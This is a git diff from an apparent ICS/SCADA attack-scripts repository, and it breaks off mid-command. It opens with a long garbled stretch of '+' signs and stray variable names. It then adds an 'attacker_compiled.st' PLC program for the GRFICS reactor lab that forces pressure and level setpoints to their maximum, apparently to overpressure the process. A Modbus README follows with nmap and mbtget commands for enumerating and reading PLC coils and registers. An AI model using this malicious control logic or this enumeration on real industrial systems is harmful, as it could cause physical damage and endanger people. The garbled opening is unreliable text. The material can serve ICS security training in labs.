+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/attacker_compiled.st b/plc/GRFICS_Workstation_Docs/attacker_compiled.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/attacker_compiled.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget 